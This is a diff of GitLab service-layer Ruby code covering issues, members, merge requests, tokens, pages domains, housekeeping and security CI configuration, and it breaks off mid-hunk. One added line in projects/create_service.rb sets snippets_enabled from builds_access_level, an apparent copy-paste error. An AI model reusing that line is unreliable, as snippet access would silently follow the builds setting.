diff --git a/app/services/issuable_links/create_service.rb b/app/services/issuable_links/create_service.rb
index 2e9775af8c2..f244f54b25f 100644
--- a/app/services/issuable_links/create_service.rb
+++ b/app/services/issuable_links/create_service.rb
@@ -121,7 +121,7 @@ module IssuableLinks
end
def target_issuable_type
- :issue
+ 'issue'
end
def create_notes(issuable_link)
diff --git a/app/services/issues/base_service.rb b/app/services/issues/base_service.rb
index 10407e99715..553fb6e2ac9 100644
--- a/app/services/issues/base_service.rb
+++ b/app/services/issues/base_service.rb
@@ -97,6 +97,16 @@ module Issues
hooks_scope = issue.confidential? ? :confidential_issue_hooks : :issue_hooks
issue.project.execute_hooks(issue_data, hooks_scope)
issue.project.execute_integrations(issue_data, hooks_scope)
+
+ execute_incident_hooks(issue, issue_data) if issue.incident?
+ end
+
+ # We can remove this code after proposal in
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/367550#proposal is updated.
+ def execute_incident_hooks(issue, issue_data)
+ issue_data[:object_kind] = 'incident'
+ issue_data[:event_type] = 'incident'
+ issue.project.execute_integrations(issue_data, :incident_hooks)
end
def update_project_counter_caches?(issue)
@@ -117,7 +127,7 @@ module Issues
override :allowed_create_params
def allowed_create_params(params)
- super(params).except(:issue_type, :work_item_type_id, :work_item_type)
+ super(params).except(:work_item_type_id, :work_item_type)
end
end
end
diff --git a/app/services/issues/create_service.rb b/app/services/issues/create_service.rb
index afad8d0c6bf..f6a1db2dcaa 100644
--- a/app/services/issues/create_service.rb
+++ b/app/services/issues/create_service.rb
@@ -24,6 +24,9 @@ module Issues
return error(_('Operation not allowed'), 403) unless @current_user.can?(authorization_action, @project)
@issue = @build_service.execute
+ # issue_type is set in BuildService, so we can delete it from params, in later phase
+ # it can be set also from quick actions - in that case work_item_id is synced later again
+ params.delete(:issue_type)
handle_move_between_ids(@issue)
@@ -68,6 +71,7 @@ module Issues
handle_escalation_status_change(issue)
create_timeline_event(issue)
try_to_associate_contacts(issue)
+ change_additional_attributes(issue)
super
end
@@ -127,6 +131,15 @@ module Issues
set_crm_contacts(issue, contacts)
end
+
+ override :change_additional_attributes
+ def change_additional_attributes(issue)
+ super
+
+ # issue_type can be still set through quick actions, in that case
+ # we have to make sure to re-sync work_item_type with it
+ issue.work_item_type_id = find_work_item_type_id(params[:issue_type]) if params[:issue_type]
+ end
end
end
diff --git a/app/services/lfs/file_transformer.rb b/app/services/lfs/file_transformer.rb
index 69d33e1c873..a02fce552cf 100644
--- a/app/services/lfs/file_transformer.rb
+++ b/app/services/lfs/file_transformer.rb
@@ -29,11 +29,11 @@ module Lfs
@branch_name = branch_name
end
- def new_file(file_path, file_content, encoding: nil)
+ def new_file(file_path, file_content, encoding: nil, detect_content_type: false)
if project.lfs_enabled? && lfs_file?(file_path)
file_content = parse_file_content(file_content, encoding: encoding)
lfs_pointer_file = Gitlab::Git::LfsPointerFile.new(file_content)
- lfs_object = create_lfs_object!(lfs_pointer_file, file_content)
+ lfs_object = create_lfs_object!(lfs_pointer_file, file_content, detect_content_type)
link_lfs_object!(lfs_object)
@@ -63,9 +63,17 @@ module Lfs
end
# rubocop: disable CodeReuse/ActiveRecord
- def create_lfs_object!(lfs_pointer_file, file_content)
+ def create_lfs_object!(lfs_pointer_file, file_content, detect_content_type)
LfsObject.find_or_create_by(oid: lfs_pointer_file.sha256, size: lfs_pointer_file.size) do |lfs_object|
- lfs_object.file = CarrierWaveStringFile.new(file_content)
+ lfs_object.file = if detect_content_type && (content_type = Gitlab::Utils::MimeType.from_string(file_content))
+ CarrierWaveStringFile.new_file(
+ file_content: file_content,
+ filename: '',
+ content_type: content_type
+ )
+ else
+ CarrierWaveStringFile.new(file_content)
+ end
end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/services/members/approve_access_request_service.rb b/app/services/members/approve_access_request_service.rb
index 51f9492ec91..5e73d7a957b 100644
--- a/app/services/members/approve_access_request_service.rb
+++ b/app/services/members/approve_access_request_service.rb
@@ -6,7 +6,7 @@ module Members
validate_access!(access_requester) unless skip_authorization
access_requester.access_level = params[:access_level] if params[:access_level]
- access_requester.accept_request
+ access_requester.accept_request(current_user)
after_execute(member: access_requester, skip_log_audit_event: skip_log_audit_event)
diff --git a/app/services/members/creator_service.rb b/app/services/members/creator_service.rb
index f59a3ed77eb..2d378a64c02 100644
--- a/app/services/members/creator_service.rb
+++ b/app/services/members/creator_service.rb
@@ -225,7 +225,7 @@ module Members
access_level: access_level)
.execute(
member,
- skip_authorization: ldap,
+ skip_authorization: ldap || skip_authorization?,
skip_log_audit_event: ldap
)
end
diff --git a/app/services/members/destroy_service.rb b/app/services/members/destroy_service.rb
index 5afc13701e0..24c5b12b335 100644
--- a/app/services/members/destroy_service.rb
+++ b/app/services/members/destroy_service.rb
@@ -13,24 +13,48 @@ module Members
end
@skip_auth = skip_authorization
- last_owner = true
+
+ if a_group_owner?(member)
+ process_destroy_of_group_owner_member(member, skip_subresources, unassign_issuables)
+ else
+ destroy_member(member)
+ destroy_data_related_to_member(member, skip_subresources, unassign_issuables)
+ end
+
+ member
+ end
+
+ private
+
+ def process_destroy_of_group_owner_member(member, skip_subresources, unassign_issuables)
+ # Deleting 2 different group owners via the API in quick succession could lead to
+ # wrong results for the `last_owner?` check due to race conditions. To prevent this
+ # we wrap both the last_owner? check and the deletes of owners within a lock.
+ last_group_owner = true
in_lock("delete_members:#{member.source.class}:#{member.source.id}", sleep_sec: 0.1.seconds) do
- break if member.is_a?(GroupMember) && member.source.last_owner?(member.user)
+ break if member.source.last_owner?(member.user)
- last_owner = false
- member.destroy
+ last_group_owner = false
+ destroy_member(member)
end
- unless last_owner
- member.user&.invalidate_cache_counts
- delete_member_associations(member, skip_subresources, unassign_issuables)
- end
+ # deletion of related data does not have to be within the lock.
+ destroy_data_related_to_member(member, skip_subresources, unassign_issuables) unless last_group_owner
+ end
- member
+ def destroy_member(member)
+ member.destroy
end
- private
+ def destroy_data_related_to_member(member, skip_subresources, unassign_issuables)
+ member.user&.invalidate_cache_counts
+ delete_member_associations(member, skip_subresources, unassign_issuables)
+ end
+
+ def a_group_owner?(member)
+ member.is_a?(GroupMember) && member.owner?
+ end
def delete_member_associations(member, skip_subresources, unassign_issuables)
if member.request? && member.user != current_user
diff --git a/app/services/members/update_service.rb b/app/services/members/update_service.rb
index 0e6b02f7a80..b2c0fffc12d 100644
--- a/app/services/members/update_service.rb
+++ b/app/services/members/update_service.rb
@@ -11,10 +11,9 @@ module Members
[member.id, { human_access: member.human_access, expires_at: member.expires_at }]
end
- if Feature.enabled?(:bulk_update_membership_roles, current_user)
- multiple_members_update(members, permission, old_access_level_expiry_map)
- else
- single_member_update(members.first, permission, old_access_level_expiry_map)
+ updated_members = update_members(members, permission)
+ Member.transaction do
+ updated_members.each { |member| post_update(member, permission, old_access_level_expiry_map) }
end
prepare_response(members)
@@ -22,35 +21,22 @@ module Members
private
- def single_member_update(member, permission, old_access_level_expiry_map)
+ def update_members(members, permission)
+ # `filter_map` avoids the `post_update` call for the member that resulted in no change
+ Member.transaction do
+ members.filter_map { |member| update_member(member, permission) }
+ end
+ rescue ActiveRecord::RecordInvalid
+ []
+ end
+
+ def update_member(member, permission)
raise Gitlab::Access::AccessDeniedError unless has_update_permissions?(member, permission)
member.attributes = params
- return success(member: member) unless member.changed?
-
- post_update(member, permission, old_access_level_expiry_map) if member.save
- end
-
- def multiple_members_update(members, permission, old_access_level_expiry_map)
- begin
- updated_members =
- Member.transaction do
- # Using `next` with `filter_map` avoids the `post_update` call for the member that resulted in no change
- members.filter_map do |member|
- raise Gitlab::Access::AccessDeniedError unless has_update_permissions?(member, permission)
-
- member.attributes = params
- next unless member.changed?
-
- member.save!
- member
- end
- end
- rescue ActiveRecord::RecordInvalid
- return
- end
+ return unless member.changed?
- updated_members.each { |member| post_update(member, permission, old_access_level_expiry_map) }
+ member.tap(&:save!)
end
def post_update(member, permission, old_access_level_expiry_map)
@@ -62,18 +48,13 @@ module Members
end
def prepare_response(members)
- errored_member = members.detect { |member| member.errors.any? }
- if errored_member.present?
- return error(errored_member.errors.full_messages.to_sentence, pass_back: { member: errored_member })
+ errored_members = members.select { |member| member.errors.any? }
+ if errored_members.present?
+ error_message = errored_members.flat_map { |member| member.errors.full_messages }.uniq.to_sentence
+ return error(error_message, pass_back: { members: errored_members })
end
- # TODO: Remove the :member key when removing the bulk_update_membership_roles FF and update where it's used.
- # https://gitlab.com/gitlab-org/gitlab/-/issues/373257
- if members.one?
- success(member: members.first)
- else
- success(members: members)
- end
+ success(members: members)
end
def has_update_permissions?(member, permission)
diff --git a/app/services/merge_requests/base_service.rb b/app/services/merge_requests/base_service.rb
index 468cadb03c7..f6cbe889128 100644
--- a/app/services/merge_requests/base_service.rb
+++ b/app/services/merge_requests/base_service.rb
@@ -94,6 +94,10 @@ module MergeRequests
private
+ def refresh_pipelines_on_merge_requests(merge_request, allow_duplicate: false)
+ create_pipeline_for(merge_request, current_user, async: true, allow_duplicate: allow_duplicate)
+ end
+
def enqueue_jira_connect_messages_for(merge_request)
return unless project.jira_subscription_exists?
@@ -184,16 +188,18 @@ module MergeRequests
merge_request, merge_request.project, current_user, old_reviewers)
end
- def create_pipeline_for(merge_request, user, async: false)
+ def create_pipeline_for(merge_request, user, async: false, allow_duplicate: false)
+ create_pipeline_params = params.slice(:push_options).merge(allow_duplicate: allow_duplicate)
+
if async
MergeRequests::CreatePipelineWorker.perform_async(
project.id,
user.id,
merge_request.id,
- params.slice(:push_options).deep_stringify_keys)
+ create_pipeline_params.deep_stringify_keys)
else
MergeRequests::CreatePipelineService
- .new(project: project, current_user: user, params: params.slice(:push_options))
+ .new(project: project, current_user: user, params: create_pipeline_params)
.execute(merge_request)
end
end
diff --git a/app/services/merge_requests/rebase_service.rb b/app/services/merge_requests/rebase_service.rb
index 1c4e1784b34..792f1728b88 100644
--- a/app/services/merge_requests/rebase_service.rb
+++ b/app/services/merge_requests/rebase_service.rb
@@ -6,6 +6,19 @@ module MergeRequests
attr_reader :merge_request, :rebase_error
+ def validate(merge_request)
+ return error_response(_('Source branch does not exist')) unless
+ merge_request.source_branch_exists?
+
+ return error_response(_('Cannot push to source branch')) unless
+ user_access.can_push_to_branch?(merge_request.source_branch)
+
+ return error_response(_('Source branch is protected from force push')) unless
+ merge_request.permits_force_push?
+
+ ServiceResponse.success
+ end
+
def execute(merge_request, skip_ci: false)
@merge_request = merge_request
@skip_ci = skip_ci
@@ -40,5 +53,13 @@ module MergeRequests
REBASE_ERROR
end
end
+
+ def user_access
+ Gitlab::UserAccess.new(current_user, container: project)
+ end
+
+ def error_response(message)
+ ServiceResponse.error(message: message)
+ end
end
end
diff --git a/app/services/merge_requests/refresh_service.rb b/app/services/merge_requests/refresh_service.rb
index 533d0052fb8..ce49d5dd43c 100644
--- a/app/services/merge_requests/refresh_service.rb
+++ b/app/services/merge_requests/refresh_service.rb
@@ -162,10 +162,6 @@ module MergeRequests
@outdate_service ||= Suggestions::OutdateService.new
end
- def refresh_pipelines_on_merge_requests(merge_request)
- create_pipeline_for(merge_request, current_user, async: true)
- end
-
def abort_auto_merges(merge_request)
abort_auto_merge(merge_request, 'source branch was updated')
end
diff --git a/app/services/merge_requests/update_service.rb b/app/services/merge_requests/update_service.rb
index 745647b727c..a273b853c0d 100644
--- a/app/services/merge_requests/update_service.rb
+++ b/app/services/merge_requests/update_service.rb
@@ -169,6 +169,8 @@ module MergeRequests
merge_request.target_branch
)
+ refresh_pipelines_on_merge_requests(merge_request, allow_duplicate: true)
+
abort_auto_merge(merge_request, 'target branch was changed')
end
diff --git a/app/services/ml/experiment_tracking/candidate_repository.rb b/app/services/ml/experiment_tracking/candidate_repository.rb
index 1dbeb30145b..f1fd93d7816 100644
--- a/app/services/ml/experiment_tracking/candidate_repository.rb
+++ b/app/services/ml/experiment_tracking/candidate_repository.rb
@@ -14,9 +14,10 @@ module Ml
::Ml::Candidate.with_project_id_and_iid(project.id, iid)
end
- def create!(experiment, start_time, tags = nil)
+ def create!(experiment, start_time, tags = nil, name = nil)
candidate = experiment.candidates.create!(
user: user,
+ name: candidate_name(name, tags),
start_time: start_time || 0
)
@@ -85,6 +86,13 @@ module Ml
entity_class.insert_all(entities, returning: false) unless entities.empty?
end
+
+ def candidate_name(name, tags)
+ return name if name.present?
+ return unless tags.present?
+
+ tags.detect { |t| t[:key] == 'mlflow.runName' }&.dig(:value)
+ end
end
end
end
diff --git a/app/services/notes/build_service.rb b/app/services/notes/build_service.rb
index cc5c81cf280..e6766273441 100644
--- a/app/services/notes/build_service.rb
+++ b/app/services/notes/build_service.rb
@@ -35,7 +35,7 @@ module Notes
note.author = current_user
parent_confidential = discussion&.confidential?
- can_set_confidential = can?(current_user, :mark_note_as_confidential, note)
+ can_set_confidential = can?(current_user, :mark_note_as_internal, note)
return discussion_not_found if parent_confidential && !can_set_confidential
diff --git a/app/services/notes/create_service.rb b/app/services/notes/create_service.rb
index 555d60dc291..5f05b613288 100644
--- a/app/services/notes/create_service.rb
+++ b/app/services/notes/create_service.rb
@@ -4,7 +4,7 @@ module Notes
class CreateService < ::Notes::BaseService
include IncidentManagement::UsageData
- def execute(skip_capture_diff_note_position: false)
+ def execute(skip_capture_diff_note_position: false, skip_merge_status_trigger: false)
note = Notes::BuildService.new(project, current_user, params.except(:merge_request_diff_head_sha)).execute
# n+1: https://gitlab.com/gitlab-org/gitlab-foss/issues/37440
@@ -34,7 +34,13 @@ module Notes
end
end
- when_saved(note, skip_capture_diff_note_position: skip_capture_diff_note_position) if note_saved
+ if note_saved
+ when_saved(
+ note,
+ skip_capture_diff_note_position: skip_capture_diff_note_position,
+ skip_merge_status_trigger: skip_merge_status_trigger
+ )
+ end
end
note
@@ -72,15 +78,21 @@ module Notes
end
end
- def when_saved(note, skip_capture_diff_note_position: false)
+ def when_saved(note, skip_capture_diff_note_position: false, skip_merge_status_trigger: false)
todo_service.new_note(note, current_user)
clear_noteable_diffs_cache(note)
Suggestions::CreateService.new(note).execute
increment_usage_counter(note)
track_event(note, current_user)
- if !skip_capture_diff_note_position && note.for_merge_request? && note.diff_note? && note.start_of_discussion?
- Discussions::CaptureDiffNotePositionService.new(note.noteable, note.diff_file&.paths).execute(note.discussion)
+ if note.for_merge_request? && note.start_of_discussion?
+ if !skip_capture_diff_note_position && note.diff_note?
+ Discussions::CaptureDiffNotePositionService.new(note.noteable, note.diff_file&.paths).execute(note.discussion)
+ end
+
+ if !skip_merge_status_trigger && note.to_be_resolved?
+ GraphqlTriggers.merge_request_merge_status_updated(note.noteable)
+ end
end
end
diff --git a/app/services/notification_service.rb b/app/services/notification_service.rb
index 550bd6d4c55..777d02c590d 100644
--- a/app/services/notification_service.rb
+++ b/app/services/notification_service.rb
@@ -91,10 +91,10 @@ class NotificationService
end
# Notify the user when at least one of their personal access tokens has expired today
- def access_token_expired(user)
+ def access_token_expired(user, token_names = [])
return unless user.can?(:receive_notifications)
- mailer.access_token_expired_email(user).deliver_later
+ mailer.access_token_expired_email(user, token_names).deliver_later
end
# Notify the user when one of their personal access tokens is revoked
diff --git a/app/services/pages_domains/create_service.rb b/app/services/pages_domains/create_service.rb
index 1f771ca3a05..17194fbe5e4 100644
--- a/app/services/pages_domains/create_service.rb
+++ b/app/services/pages_domains/create_service.rb
@@ -24,6 +24,7 @@ module PagesDomains
project_id: project.id,
namespace_id: project.namespace_id,
root_namespace_id: project.root_namespace.id,
+ domain_id: domain.id,
domain: domain.domain
}
)
diff --git a/app/services/pages_domains/delete_service.rb b/app/services/pages_domains/delete_service.rb
index af69e1845a9..89e598acee0 100644
--- a/app/services/pages_domains/delete_service.rb
+++ b/app/services/pages_domains/delete_service.rb
@@ -22,6 +22,7 @@ module PagesDomains
project_id: project.id,
namespace_id: project.namespace_id,
root_namespace_id: project.root_namespace.id,
+ domain_id: domain.id,
domain: domain.domain
}
)
diff --git a/app/services/pages_domains/retry_acme_order_service.rb b/app/services/pages_domains/retry_acme_order_service.rb
index 6251c9d3615..01647a8ecf5 100644
--- a/app/services/pages_domains/retry_acme_order_service.rb
+++ b/app/services/pages_domains/retry_acme_order_service.rb
@@ -30,6 +30,7 @@ module PagesDomains
project_id: domain.project.id,
namespace_id: domain.project.namespace_id,
root_namespace_id: domain.project.root_namespace.id,
+ domain_id: domain.id,
domain: domain.domain
}
)
diff --git a/app/services/pages_domains/update_service.rb b/app/services/pages_domains/update_service.rb
index b038aaa95b6..1887441d8b8 100644
--- a/app/services/pages_domains/update_service.rb
+++ b/app/services/pages_domains/update_service.rb
@@ -24,6 +24,7 @@ module PagesDomains
project_id: project.id,
namespace_id: project.namespace_id,
root_namespace_id: project.root_namespace.id,
+ domain_id: domain.id,
domain: domain.domain
}
)
diff --git a/app/services/personal_access_tokens/revoke_service.rb b/app/services/personal_access_tokens/revoke_service.rb
index bb5edc27340..237c95bc456 100644
--- a/app/services/personal_access_tokens/revoke_service.rb
+++ b/app/services/personal_access_tokens/revoke_service.rb
@@ -4,13 +4,17 @@ module PersonalAccessTokens
class RevokeService < BaseService
attr_reader :token, :current_user, :group
- VALID_SOURCES = %w[secret_detection].freeze
+ VALID_SOURCES = %i[self secret_detection].freeze
def initialize(current_user = nil, token: nil, group: nil, source: nil)
@current_user = current_user
@token = token
@group = group
@source = source
+
+ @source = :self if @current_user && !@source
+
+ raise ArgumentError unless VALID_SOURCES.include?(@source)
end
def execute
@@ -36,22 +40,21 @@ module PersonalAccessTokens
end
def revocation_permitted?
- if current_user
+ case @source
+ when :self
Ability.allowed?(current_user, :revoke_token, token)
+ when :secret_detection
+ true
else
- source && VALID_SOURCES.include?(source)
+ false
end
end
- def source
- current_user&.username || @source
- end
-
def log_event
Gitlab::AppLogger.info(
class: self.class.name,
message: "PAT Revoked",
- revoked_by: source,
+ revoked_by: current_user&.username || @source,
revoked_for: token.user.username,
token_id: token.id)
end
diff --git a/app/services/projects/autocomplete_service.rb b/app/services/projects/autocomplete_service.rb
index ae5aae87a77..11437ad90fc 100644
--- a/app/services/projects/autocomplete_service.rb
+++ b/app/services/projects/autocomplete_service.rb
@@ -23,7 +23,7 @@ module Projects
MergeRequestsFinder.new(current_user, project_id: project.id, state: 'opened').execute.select([:iid, :title])
end
- def commands(noteable, type)
+ def commands(noteable)
return [] unless noteable && current_user
QuickActions::InterpretService.new(project, current_user).available_commands(noteable)
diff --git a/app/services/projects/create_service.rb b/app/services/projects/create_service.rb
index a4b473f35c6..d3313526eaf 100644
--- a/app/services/projects/create_service.rb
+++ b/app/services/projects/create_service.rb
@@ -22,6 +22,12 @@ module Projects
end
def execute
+ params[:wiki_enabled] = params[:wiki_access_level] if params[:wiki_access_level]
+ params[:builds_enabled] = params[:builds_access_level] if params[:builds_access_level]
+ params[:snippets_enabled] = params[:builds_access_level] if params[:snippets_access_level]
+ params[:merge_requests_enabled] = params[:merge_requests_access_level] if params[:merge_requests_access_level]
+ params[:issues_enabled] = params[:issues_access_level] if params[:issues_access_level]
+
if create_from_template?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
diff --git a/app/services/projects/import_service.rb b/app/services/projects/import_service.rb
index 967a1e990b2..e6ccae0a22b 100644
--- a/app/services/projects/import_service.rb
+++ b/app/services/projects/import_service.rb
@@ -166,7 +166,7 @@ module Projects
.then do |(import_url, resolved_host)|
next '' if resolved_host.nil? || !import_url.scheme.in?(%w[http https])
- import_url.host.to_s
+ import_url.hostname.to_s
end
end
diff --git a/app/services/projects/refresh_build_artifacts_size_statistics_service.rb b/app/services/projects/refresh_build_artifacts_size_statistics_service.rb
index 8e006dc8c34..f11083d6c04 100644
--- a/app/services/projects/refresh_build_artifacts_size_statistics_service.rb
+++ b/app/services/projects/refresh_build_artifacts_size_statistics_service.rb
@@ -2,28 +2,31 @@
module Projects
class RefreshBuildArtifactsSizeStatisticsService
- BATCH_SIZE = 1000
+ BATCH_SIZE = 500
+ REFRESH_INTERVAL_SECONDS = 0.1
def execute
refresh = Projects::BuildArtifactsSizeRefresh.process_next_refresh!
- return unless refresh
+
+ return unless refresh&.running?
batch = refresh.next_batch(limit: BATCH_SIZE).to_a
if batch.any?
- # We are doing the sum in ruby because the query takes too long when done in SQL
- total_artifacts_size = batch.sum { |artifact| artifact.size.to_i }
+ increments = batch.map do |artifact|
+ Gitlab::Counters::Increment.new(amount: artifact.size.to_i, ref: artifact.id)
+ end
Projects::BuildArtifactsSizeRefresh.transaction do
# Mark the refresh ready for another worker to pick up and process the next batch
refresh.requeue!(batch.last.id)
- refresh.project.statistics.increment_counter(:build_artifacts_size, total_artifacts_size)
+ ProjectStatistics.bulk_increment_statistic(refresh.project, :build_artifacts_size, increments)
end
+
+ sleep REFRESH_INTERVAL_SECONDS
else
- # Remove the refresh job from the table if there are no more
- # remaining job artifacts to calculate for the given project.
- refresh.destroy!
+ refresh.schedule_finalize!
end
refresh
diff --git a/app/services/repositories/housekeeping_service.rb b/app/services/repositories/housekeeping_service.rb
index e12d69807f2..f314e210442 100644
--- a/app/services/repositories/housekeeping_service.rb
+++ b/app/services/repositories/housekeeping_service.rb
@@ -10,7 +10,7 @@ module Repositories
class HousekeepingService < BaseService
# Timeout set to 24h
LEASE_TIMEOUT = 86400
- PACK_REFS_PERIOD = 6
+ GC_PERIOD = 200
class LeaseTaken < StandardError
def to_s
@@ -74,21 +74,13 @@ module Repositories
if pushes_since_gc % gc_period == 0
:gc
- elsif pushes_since_gc % full_repack_period == 0
- :full_repack
- elsif pushes_since_gc % repack_period == 0
- :incremental_repack
else
- :pack_refs
+ :incremental_repack
end
end
def period_match?
- if Feature.enabled?(:optimized_housekeeping)
- pushes_since_gc % repack_period == 0
- else
- [gc_period, full_repack_period, repack_period, PACK_REFS_PERIOD].any? { |period| pushes_since_gc % period == 0 }
- end
+ [gc_period, repack_period].any? { |period| pushes_since_gc % period == 0 }
end
def housekeeping_enabled?
@@ -96,11 +88,7 @@ module Repositories
end
def gc_period
- Gitlab::CurrentSettings.housekeeping_gc_period
- end
-
- def full_repack_period
- Gitlab::CurrentSettings.housekeeping_full_repack_period
+ GC_PERIOD
end
def repack_period
diff --git a/app/services/search_service.rb b/app/services/search_service.rb
index 403a2f077b0..b4344a009b2 100644
--- a/app/services/search_service.rb
+++ b/app/services/search_service.rb
@@ -112,6 +112,25 @@ class SearchService
false
end
+ def global_search_enabled_for_scope?
+ case params[:scope]
+ when 'blobs'
+ Feature.enabled?(:global_search_code_tab, current_user, type: :ops)
+ when 'commits'
+ Feature.enabled?(:global_search_commits_tab, current_user, type: :ops)
+ when 'issues'
+ Feature.enabled?(:global_search_issues_tab, current_user, type: :ops)
+ when 'merge_requests'
+ Feature.enabled?(:global_search_merge_requests_tab, current_user, type: :ops)
+ when 'wiki_blobs'
+ Feature.enabled?(:global_search_wiki_tab, current_user, type: :ops)
+ when 'users'
+ Feature.enabled?(:global_search_users_tab, current_user, type: :ops)
+ else
+ true
+ end
+ end
+
private
def page
diff --git a/app/services/security/ci_configuration/base_create_service.rb b/app/services/security/ci_configuration/base_create_service.rb
index 7f3b66d40e1..aaa850fde39 100644
--- a/app/services/security/ci_configuration/base_create_service.rb
+++ b/app/services/security/ci_configuration/base_create_service.rb
@@ -3,7 +3,7 @@
module Security
module CiConfiguration
class BaseCreateService
- attr_reader :branch_name, :current_user, :project
+ attr_reader :branch_name, :current_user, :project, :name
def initialize(project, current_user)
@project = project
@@ -41,8 +41,18 @@ module Security
end
def existing_gitlab_ci_content
- @gitlab_ci_yml ||= project.ci_config_for(project.repository.root_ref_sha)
+ root_ref = root_ref_sha(project)
+ return if root_ref.nil?
+
+ @gitlab_ci_yml ||= project.ci_config_for(root_ref)
YAML.safe_load(@gitlab_ci_yml) if @gitlab_ci_yml
+ rescue Psych::BadAlias
+ raise Gitlab::Graphql::Errors::MutationError,
+ ".gitlab-ci.yml with aliases/anchors is not supported. Please change the CI configuration manually."
+ rescue Psych::Exception => e
+ Gitlab::AppLogger.error("Failed to process existing .gitlab-ci.yml: #{e.message}")
+ raise Gitlab::Graphql::Errors::MutationError,
+ "#{name} merge request creation mutation failed"
end
def successful_change_path
@@ -61,6 +71,15 @@ module Security
self.class.to_s, action[:action], label: action[:default_values_overwritten].to_s
)
end
+
+ def root_ref_sha(project)
+ project.repository.root_ref_sha
+ rescue StandardError => e
+ # this might fail on the very first commit,
+ # and unfortunately it raises a StandardError
+ Gitlab::ErrorTracking.track_exception(e, project_id: project.id)
+ nil
+ end
end
end
end
diff --git a/app/services/security/ci_configuration/container_scanning_create_service.rb b/app/services/security/ci_configuration/container_scanning_create_service.rb
index da2f1ac0981..4dfd05451ad 100644
--- a/app/services/security/ci_configuration/container_scanning_create_service.rb
+++ b/app/services/security/ci_configuration/container_scanning_create_service.rb
@@ -21,6 +21,10 @@ module Security
def description
_('Configure Container Scanning in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/container_scanning/#customizing-the-container-scanning-settings) to customize Container Scanning settings.')
end
+
+ def name
+ 'Container Scanning'
+ end
end
end
end
diff --git a/app/services/security/ci_configuration/dependency_scanning_create_service.rb b/app/services/security/ci_configuration/dependency_scanning_create_service.rb
index b11eccc680c..66dd76c4b5d 100644
--- a/app/services/security/ci_configuration/dependency_scanning_create_service.rb
+++ b/app/services/security/ci_configuration/dependency_scanning_create_service.rb
@@ -21,6 +21,10 @@ module Security
def description
_('Configure Dependency Scanning in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-the-dependency-scanning-settings) to customize Dependency Scanning settings.')
end
+
+ def name
+ 'Dependency Scanning'
+ end
end
end
end
diff --git a/app/services/security/ci_configuration/sast_create_service.rb b/app/services/security/ci_configuration/sast_create_service.rb
index d78e22f1fe1..643cb7f89dc 100644
--- a/app/services/security/ci_configuration/sast_create_service.rb
+++ b/app/services/security/ci_configuration/sast_create_service.rb
@@ -20,13 +20,7 @@ module Security
end
def action
- existing_content = begin
- existing_gitlab_ci_content # this can fail on the very first commit
- rescue StandardError
- nil
- end
-
- Security::CiConfiguration::SastBuildAction.new(project.auto_devops_enabled?, params, existing_content, project.ci_config_path).generate
+ Security::CiConfiguration::SastBuildAction.new(project.auto_devops_enabled?, params, existing_gitlab_ci_content, project.ci_config_path).generate
end
def next_branch
@@ -40,6 +34,10 @@ module Security
def description
_('Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings.')
end
+
+ def name
+ 'SAST'
+ end
end
end
end
diff --git a/app/services/security/ci_configuration/sast_iac_create_service.rb b/app/services/security/ci_configuration/sast_iac_create_service.rb
index fbc65484216..61bbebd77d0 100644
--- a/app/services/security/ci_configuration/sast_iac_create_service.rb
+++ b/app/services/security/ci_configuration/sast_iac_create_service.rb
@@ -21,6 +21,10 @@ module Security
def description
_('Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings.')
end
+
+ def name
+ 'SAST IaC'
+ end
end
end
end
diff --git a/app/services/security/ci_configuration/secret_detection_create_service.rb b/app/services/security/ci_configuration/secret_detection_create_service.rb
index ca5138b6ed6..792fe4986e9 100644
--- a/app/services/security/ci_configuration/secret_detection_create_service.rb
+++ b/app/services/security/ci_configuration/secret_detection_create_service.rb
@@ -21,6 +21,10 @@ module Security
def description
_('Configure Secret Detection in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings) to customize Secret Detection settings.')
end
+
+ def name
+ 'Secret Detection'
+ end
end
end
end
diff --git a/app/services/service_ping/submit_service.rb b/app/services/service_ping/submit_service.rb
index da2a51562f8..6d39174b6c7 100644
--- a/app/services/service_ping/submit_service.rb
+++ b/app/services/service_ping/submit_service.rb
@@ -42,20 +42,20 @@ module ServicePing
{
metadata: {
uuid: service_ping_payload[:uuid],
- metrics: metrics_collection_time(service_ping_payload)
+ metrics: metrics_collection_metadata(service_ping_payload)
}
}
end
- def metrics_collection_time(payload, parents = [])
+ def metrics_collection_metadata(payload, parents = [])
return [] unless payload.is_a?(Hash)
payload.flat_map do |key, metric_value|
key_path = parents.dup.append(key)
if metric_value.respond_to?(:duration)
- { name: key_path.join('.'), time_elapsed: metric_value.duration }
+ { name: key_path.join('.'), time_elapsed: metric_value.duration, error: metric_value.error }.compact
else
- metrics_collection_time(metric_value, key_path)
+ metrics_collection_metadata(metric_value, key_path)
end
end
end
diff --git a/app/services/service_response.rb b/app/services/service_response.rb
index 848f90e7f25..da4773ab9c7 100644
--- a/app/services/service_response.rb
+++ b/app/services/service_response.rb
@@ -26,22 +26,22 @@ class ServiceResponse
self.reason = reason
end
- def track_exception(as: StandardError, **extra_data)
- if error?
- e = as.new(message)
- Gitlab::ErrorTracking.track_exception(e, extra_data)
+ def log_and_raise_exception(as: StandardError, **extra_data)
+ error_tracking(as) do |ex|
+ Gitlab::ErrorTracking.log_and_raise_exception(ex, extra_data)
end
+ end
- self
+ def track_exception(as: StandardError, **extra_data)
+ error_tracking(as) do |ex|
+ Gitlab::ErrorTracking.track_exception(ex, extra_data)
+ end
end
def track_and_raise_exception(as: StandardError, **extra_data)
- if error?
- e = as.new(message)
- Gitlab::ErrorTracking.track_and_raise_exception(e, extra_data)
+ error_tracking(as) do |ex|
+ Gitlab::ErrorTracking.track_and_raise_exception(ex, extra_data)
end
-
- self
end
def [](key)
@@ -73,4 +73,13 @@ class ServiceResponse
private
attr_writer :status, :message, :http_status, :payload, :reason
+
+ def error_tracking(error_klass)
+ if error?
+ ex = error_klass.new(message)
